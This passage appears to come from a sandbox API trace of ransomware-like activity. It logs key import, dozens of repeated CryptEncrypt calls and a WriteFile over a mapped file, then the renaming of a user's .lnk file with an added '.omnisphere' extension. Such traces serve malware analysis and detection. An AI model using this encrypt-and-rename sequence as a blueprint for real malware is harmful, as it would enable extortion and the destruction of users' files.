CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0126.225] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ff, lpName=0x0) returned 0x288 [0126.225] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ff) returned 0x1480000 [0126.225] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0126.226] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0126.226] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.227] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.228] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.229] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.230] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.230] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0126.230] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5ff, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.230] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.230] GetProcessHeap () returned 0x1600000 [0126.230] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16cac10 [0126.230] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilyt.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilyt.lnk.omnisphere")) returned 1 [0126.231] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk.omnisphere.id" [0126.231] CreateFileW 